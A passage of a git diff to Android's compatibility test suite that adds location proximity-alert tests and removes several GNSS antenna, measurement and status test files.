+                        .setPackage(mContext.getPackageName())
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, immutablePI);
+            fail("Should throw IllegalArgumentException if pending intent is immutable!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        } finally {
+            immutablePI.cancel();
+        }
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            try {
+                mManager.addProximityAlert(0, 0, 0, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if radius == 0!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+
+            try {
+                mManager.addProximityAlert(0, 0, -1, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if radius < 0!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+
+            try {
+                mManager.addProximityAlert(1000, 1000, 1000, -1, capture.getPendingIntent());
+                fail("Should throw IllegalArgumentException if lat/lon are illegal!");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testRemoveProximityAlert() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            mManager.removeProximityAlert(capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+        }
+
+        try {
+            mManager.removeProximityAlert(null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert_StartProximate() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert_Multiple() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext);
+        try {
+            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+            mManager.addProximityAlert(30, 30, 1000, -1, capture.getPendingIntent());
+
+            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            Boolean first = capture.getNextProximityChange(TIMEOUT_MS);
+            assertThat(first).isNotNull();
+            Boolean second = capture.getNextProximityChange(TIMEOUT_MS);
+            assertThat(second).isNotNull();
+            assertThat(first).isNotEqualTo(second);
+        } finally {
+            capture.close();
+        }
+
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+        assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+    }
+
+    @Test
+    public void testAddProximityAlert_Expires() throws Exception {
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderLocation(FUSED_PROVIDER,
+                createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+            mManager.addProximityAlert(0, 0, 1000, 1, capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(FUSED_PROVIDER,
+                    createLocation(FUSED_PROVIDER, 0, 0, 10));
+            assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
deleted file mode 100644
index 5aa2bd3..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.location.GnssAntennaInfo;
-import android.location.LocationManager;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * End to end test of GNSS Antenna Info. Test first attempts to register a GNSS Antenna Info
- * Callback and then sleeps for a timeout period. The callback status is then checked. If the
- * status is not STATUS_READY, the test is skipped. Otherwise, the test proceeds. We verify that
- * the callback has been called and has received at least GnssAntennaInfo object.
- */
-@RunWith(AndroidJUnit4.class)
-public class GnssAntennaInfoRegistrationTest {
-
-    private static final String TAG = "GnssAntennaInfoCallbackTest";
-
-    private static final int ANTENNA_INFO_TIMEOUT_SEC = 10;
-
-    private LocationManager mManager;
-    private Context mContext;
-    CountDownLatch mAntennaInfoReciept = new CountDownLatch(1);
-
-    @Before
-    public void setUp() throws Exception {
-
-        mContext = ApplicationProvider.getApplicationContext();
-        mManager = mContext.getSystemService(LocationManager.class);
-
-        assertThat(mManager).isNotNull();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testGnssAntennaInfoCallbackRegistration() {
-        // TODO(skz): check that version code is greater than R
-
-        if(!mManager.getGnssCapabilities().hasGnssAntennaInfo()) {
-            // GnssAntennaInfo is not supported
-            return;
-        }
-
-        TestGnssAntennaInfoListener listener = new TestGnssAntennaInfoListener();
-
-        mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
-        try {
-            mAntennaInfoReciept.await(ANTENNA_INFO_TIMEOUT_SEC, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Test was interrupted.");
-        }
-
-        listener.verifyRegistration();
-
-        mManager.unregisterAntennaInfoListener(listener);
-    }
-
-    private class TestGnssAntennaInfoListener implements GnssAntennaInfo.Listener {
-        private boolean receivedAntennaInfo = false;
-        private int numResults = 0;
-
-        @Override
-        public void onGnssAntennaInfoReceived(@NonNull List<GnssAntennaInfo> gnssAntennaInfos) {
-            receivedAntennaInfo = true;
-            numResults = gnssAntennaInfos.size();
-            mAntennaInfoReciept.countDown();
-
-            for (GnssAntennaInfo gnssAntennaInfo: gnssAntennaInfos) {
-                Log.d(TAG, gnssAntennaInfo.toString() + "\n");
-            }
-        }
-
-        public void verifyRegistration() {
-            assertTrue(receivedAntennaInfo);
-            assertThat(numResults).isGreaterThan(0);
-        }
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoTest.java
deleted file mode 100644
index cbaabf7..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoTest.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
-
-import android.location.GnssAntennaInfo;
-import android.location.GnssAntennaInfo.PhaseCenterOffset;
-import android.location.GnssAntennaInfo.SphericalCorrections;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests fundamental functionality of GnssAntennaInfo class. This includes writing and reading from
- * parcel, and verifying computed values and getters.
- */
-@RunWith(AndroidJUnit4.class)
-public class GnssAntennaInfoTest {
-
-    private static final double PRECISION = 0.0001;
-    private static final double[][] PHASE_CENTER_VARIATION_CORRECTIONS = new double[][]{
-        {5.29, 0.20, 7.15, 10.18, 9.47, 8.05},
-        {11.93, 3.98, 2.68, 2.66, 8.15, 13.54},
-        {14.69, 7.63, 13.46, 8.70, 4.36, 1.21},
-        {4.19, 12.43, 12.40, 0.90, 1.96, 1.99},
-        {7.30, 0.49, 7.43, 8.71, 3.70, 7.24},
-        {4.79, 1.88, 13.88, 3.52, 13.40, 11.81}
-    };
-    private static final double[][] PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES = new double[][]{
-            {1.77, 0.81, 0.72, 1.65, 2.35, 1.22},
-            {0.77, 3.43, 2.77, 0.97, 4.55, 1.38},
-            {1.51, 2.50, 2.23, 2.43, 1.94, 0.90},
-            {0.34, 4.72, 4.14, 4.78, 4.57, 1.69},
-            {4.49, 0.05, 2.78, 1.33, 3.20, 2.75},
-            {1.09, 0.31, 3.79, 4.32, 0.65, 1.23}
-    };
-    private static final double[][] SIGNAL_GAIN_CORRECTIONS = new double[][]{
-            {0.19, 7.04, 1.65, 14.84, 2.95, 9.21},
-            {0.45, 6.27, 14.57, 8.95, 3.92, 12.68},
-            {6.80, 13.04, 7.92, 2.23, 14.22, 7.36},
-            {4.81, 11.78, 5.04, 5.13, 12.09, 12.85},
-            {0.88, 4.04, 5.71, 3.72, 12.62, 0.40},
-            {14.26, 9.50, 4.21, 11.14, 6.54, 14.63}
-    };
-    private static final double[][] SIGNAL_GAIN_CORRECTION_UNCERTAINTIES = new double[][]{
-            {4.74, 1.54, 1.59, 4.05, 1.65, 2.46},
-            {0.10, 0.33, 0.84, 0.83, 0.57, 2.66},
-            {2.08, 1.46, 2.10, 3.25, 1.48, 0.65},
-            {4.02, 2.90, 2.51, 2.13, 1.67, 1.23},
-            {2.13, 4.30, 1.36, 3.86, 1.02, 2.96},
-            {3.22, 3.95, 3.75, 1.73, 1.91, 4.93}
-
-    };
-
-    @Test
-    public void testFullAntennaInfoDescribeContents() {
-        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
-        assertEquals(0, gnssAntennaInfo.describeContents());
-    }
-
-    @Test
-    public void testPartialAntennaInfoDescribeContents() {
-        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
-        assertEquals(0, gnssAntennaInfo.describeContents());
-    }
-
-    @Test
-    public void testFullAntennaInfoWriteToParcel() {
-        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
-        Parcel parcel = Parcel.obtain();
-        gnssAntennaInfo.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
-        verifyFullGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
-        parcel.recycle();
-    }
-
-    @Test
-    public void testPartialAntennaInfoWriteToParcel() {
-        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
-        Parcel parcel = Parcel.obtain();
-        gnssAntennaInfo.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
-        verifyPartialGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
-        parcel.recycle();
-    }
-
-    @Test
-    public void testCreateFullGnssAntennaInfoAndGetValues() {
-        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
-        verifyFullGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
-    }
-
-    @Test
-    public void testCreatePartialGnssAntennaInfoAndGetValues() {
-        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
-        verifyPartialGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
-    }
-
-    private static GnssAntennaInfo createFullTestGnssAntennaInfo() {
-        double carrierFrequencyMHz = 13758.0;
-
-        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
-                GnssAntennaInfo.PhaseCenterOffset(
-                        4.3d,
-                    1.4d,
-                    2.10d,
-                    2.1d,
-                    3.12d,
-                    0.5d);
-
-        double[][] phaseCenterVariationCorrectionsMillimeters = PHASE_CENTER_VARIATION_CORRECTIONS;
-        double[][] phaseCenterVariationCorrectionsUncertaintyMillimeters =
-                PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES;
-        SphericalCorrections
-                phaseCenterVariationCorrections =
-                new SphericalCorrections(
-                        phaseCenterVariationCorrectionsMillimeters,
-                        phaseCenterVariationCorrectionsUncertaintyMillimeters);
-
-        double[][] signalGainCorrectionsDbi = SIGNAL_GAIN_CORRECTIONS;
-        double[][] signalGainCorrectionsUncertaintyDbi = SIGNAL_GAIN_CORRECTION_UNCERTAINTIES;
-        SphericalCorrections signalGainCorrections = new
-                SphericalCorrections(
-                signalGainCorrectionsDbi,
-                signalGainCorrectionsUncertaintyDbi);
-
-        return new GnssAntennaInfo.Builder()
-                .setCarrierFrequencyMHz(carrierFrequencyMHz)
-                .setPhaseCenterOffset(phaseCenterOffset)
-                .setPhaseCenterVariationCorrections(phaseCenterVariationCorrections)
-                .setSignalGainCorrections(signalGainCorrections)
-                .build();
-    }
-
-    private static GnssAntennaInfo createPartialTestGnssAntennaInfo() {
-        double carrierFrequencyMHz = 13758.0;
-
-        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
-                GnssAntennaInfo.PhaseCenterOffset(
-                4.3d,
-                1.4d,
-                2.10d,
-                2.1d,
-                3.12d,
-                0.5d);
-
-        return new GnssAntennaInfo.Builder()
-                .setCarrierFrequencyMHz(carrierFrequencyMHz)
-                .setPhaseCenterOffset(phaseCenterOffset)
-                .build();
-    }
-
-    private static void verifyPartialGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
-        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
-
-        // Phase Center Offset Tests --------------------------------------------------------
-        PhaseCenterOffset phaseCenterOffset =
-                gnssAntennaInfo.getPhaseCenterOffset();
-        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
-                PRECISION);
-        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
-                PRECISION);
-        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
-                PRECISION);
-        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
-                PRECISION);
-
-        // Phase Center Variation Corrections Tests -----------------------------------------
-        assertNull(gnssAntennaInfo.getPhaseCenterVariationCorrections());
-
-        // Signal Gain Corrections Tests -----------------------------------------------------
-        assertNull(gnssAntennaInfo.getSignalGainCorrections());
-    }
-
-    private static void verifyFullGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
-        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
-
-        // Phase Center Offset Tests --------------------------------------------------------
-        PhaseCenterOffset phaseCenterOffset =
-                gnssAntennaInfo.getPhaseCenterOffset();
-        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
-                PRECISION);
-        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
-                PRECISION);
-        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
-                PRECISION);
-        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
-                PRECISION);
-        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
-                PRECISION);
-
-        // Phase Center Variation Corrections Tests -----------------------------------------
-        SphericalCorrections phaseCenterVariationCorrections =
-                gnssAntennaInfo.getPhaseCenterVariationCorrections();
-
-        assertEquals(60.0d, phaseCenterVariationCorrections.getDeltaTheta(), PRECISION);
-        assertEquals(36.0d, phaseCenterVariationCorrections.getDeltaPhi(), PRECISION);
-        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTIONS, phaseCenterVariationCorrections
-                .getCorrectionsArray());
-        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES,
-                phaseCenterVariationCorrections.getCorrectionUncertaintiesArray());
-
-        // Signal Gain Corrections Tests -----------------------------------------------------
-        SphericalCorrections signalGainCorrections = gnssAntennaInfo.getSignalGainCorrections();
-
-        assertEquals(60.0d, signalGainCorrections.getDeltaTheta(), PRECISION);
-        assertEquals(36.0d, signalGainCorrections.getDeltaPhi(), PRECISION);
-        assertArrayEquals(SIGNAL_GAIN_CORRECTIONS, signalGainCorrections
-                .getCorrectionsArray());
-        assertArrayEquals(SIGNAL_GAIN_CORRECTION_UNCERTAINTIES,
-                signalGainCorrections.getCorrectionUncertaintiesArray());
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
deleted file mode 100644
index 2536890..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.location.GnssMeasurement;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class GnssMeasurementTest {
-
-    private static final double DELTA = 0.001;
-
-    @Test
-    public void testDescribeContents() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        assertEquals(0, measurement.describeContents());
-    }
-
-    @Test
-    public void testReset() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        measurement.reset();
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-        Parcel parcel = Parcel.obtain();
-        measurement.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
-        verifyTestValues(newMeasurement);
-        parcel.recycle();
-    }
-
-    @Test
-    public void testSet() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-        GnssMeasurement newMeasurement = new GnssMeasurement();
-        newMeasurement.set(measurement);
-        verifyTestValues(newMeasurement);
-    }
-
-    @Test
-    public void testSetReset() {
-        GnssMeasurement measurement = new GnssMeasurement();
-        setTestValues(measurement);
-
-        assertTrue(measurement.hasCarrierCycles());
-        measurement.resetCarrierCycles();
-        assertFalse(measurement.hasCarrierCycles());
-
-        assertTrue(measurement.hasCarrierFrequencyHz());
-        measurement.resetCarrierFrequencyHz();
-        assertFalse(measurement.hasCarrierFrequencyHz());
-
-        assertTrue(measurement.hasCarrierPhase());
-        measurement.resetCarrierPhase();
-        assertFalse(measurement.hasCarrierPhase());
-
-        assertTrue(measurement.hasCarrierPhaseUncertainty());
-        measurement.resetCarrierPhaseUncertainty();
-        assertFalse(measurement.hasCarrierPhaseUncertainty());
-
-        assertTrue(measurement.hasSnrInDb());
-        measurement.resetSnrInDb();
-        assertFalse(measurement.hasSnrInDb());
-
-        assertTrue(measurement.hasCodeType());
-        measurement.resetCodeType();
-        assertFalse(measurement.hasCodeType());
-
-        assertTrue(measurement.hasBasebandCn0DbHz());
-        measurement.resetBasebandCn0DbHz();
-        assertFalse(measurement.hasBasebandCn0DbHz());
-
-        assertTrue(measurement.hasFullInterSignalBiasNanos());
-        measurement.resetFullInterSignalBiasNanos();
-        assertFalse(measurement.hasFullInterSignalBiasNanos());
-
-        assertTrue(measurement.hasFullInterSignalBiasUncertaintyNanos());
-        measurement.resetFullInterSignalBiasUncertaintyNanos();
-        assertFalse(measurement.hasFullInterSignalBiasUncertaintyNanos());
-
-        assertTrue(measurement.hasSatelliteInterSignalBiasNanos());
-        measurement.resetSatelliteInterSignalBiasNanos();
-        assertFalse(measurement.hasSatelliteInterSignalBiasNanos());
-
-        assertTrue(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
-        measurement.resetSatelliteInterSignalBiasUncertaintyNanos();
-        assertFalse(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
-    }
-
-    private static void setTestValues(GnssMeasurement measurement) {
-        measurement.setAccumulatedDeltaRangeMeters(1.0);
-        measurement.setAccumulatedDeltaRangeState(2);
-        measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
-        measurement.setBasebandCn0DbHz(3.0);
-        measurement.setCarrierCycles(4);
-        measurement.setCarrierFrequencyHz(5.0f);
-        measurement.setCarrierPhase(6.0);
-        measurement.setCarrierPhaseUncertainty(7.0);
-        measurement.setCn0DbHz(8.0);
-        measurement.setCodeType("C");
-        measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
-        measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
-        measurement.setPseudorangeRateMetersPerSecond(9.0);
-        measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
-        measurement.setReceivedSvTimeNanos(11);
-        measurement.setReceivedSvTimeUncertaintyNanos(12);
-        measurement.setFullInterSignalBiasNanos(1.3);
-        measurement.setFullInterSignalBiasUncertaintyNanos(2.5);
-        measurement.setSatelliteInterSignalBiasNanos(5.4);
-        measurement.setSatelliteInterSignalBiasUncertaintyNanos(10.0);
-        measurement.setSnrInDb(13.0);
-        measurement.setState(14);
-        measurement.setSvid(15);
-        measurement.setTimeOffsetNanos(16.0);
-    }
-
-    private static void verifyTestValues(GnssMeasurement measurement) {
-        assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters(), DELTA);
-        assertEquals(2, measurement.getAccumulatedDeltaRangeState());
-        assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters(), DELTA);
-        assertEquals(3.0, measurement.getBasebandCn0DbHz(), DELTA);
-        assertEquals(4, measurement.getCarrierCycles());
-        assertEquals(5.0f, measurement.getCarrierFrequencyHz(), DELTA);
-        assertEquals(6.0, measurement.getCarrierPhase(), DELTA);
-        assertEquals(7.0, measurement.getCarrierPhaseUncertainty(), DELTA);
-        assertEquals(8.0, measurement.getCn0DbHz(), DELTA);
-        assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
-        assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
-                measurement.getMultipathIndicator());
-        assertEquals("C", measurement.getCodeType());
-        assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond(), DELTA);
-        assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond(), DELTA);
-        assertEquals(11, measurement.getReceivedSvTimeNanos());
-        assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
-        assertEquals(1.3, measurement.getFullInterSignalBiasNanos(), DELTA);
-        assertEquals(2.5, measurement.getFullInterSignalBiasUncertaintyNanos(), DELTA);
-        assertEquals(5.4, measurement.getSatelliteInterSignalBiasNanos(), DELTA);
-        assertEquals(10.0, measurement.getSatelliteInterSignalBiasUncertaintyNanos(), DELTA);
-        assertEquals(13.0, measurement.getSnrInDb(), DELTA);
-        assertEquals(14, measurement.getState());
-        assertEquals(15, measurement.getSvid());
-        assertEquals(16.0, measurement.getTimeOffsetNanos(), DELTA);
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
deleted file mode 100644
index 048c741..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Collection;
-import java.util.Iterator;
-
-@RunWith(AndroidJUnit4.class)
-public class GnssMeasurementsEventTest {
-
-    @Test
-    public void testDescribeContents() {
-        GnssClock clock = new GnssClock();
-        GnssMeasurement m1 = new GnssMeasurement();
-        GnssMeasurement m2 = new GnssMeasurement();
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        assertEquals(0, event.describeContents());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        GnssClock clock = new GnssClock();
-        clock.setLeapSecond(100);
-        GnssMeasurement m1 = new GnssMeasurement();
-        m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
-        GnssMeasurement m2 = new GnssMeasurement();
-        m2.setReceivedSvTimeNanos(43999);
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        Parcel parcel = Parcel.obtain();
-        event.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
-        assertEquals(100, newEvent.getClock().getLeapSecond());
-        Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
-        assertEquals(2, measurements.size());
-        Iterator<GnssMeasurement> iterator = measurements.iterator();
-        GnssMeasurement newM1 = iterator.next();
-        assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
-        GnssMeasurement newM2 = iterator.next();
-        assertEquals(43999, newM2.getReceivedSvTimeNanos());
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java
deleted file mode 100644
index df050ba..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
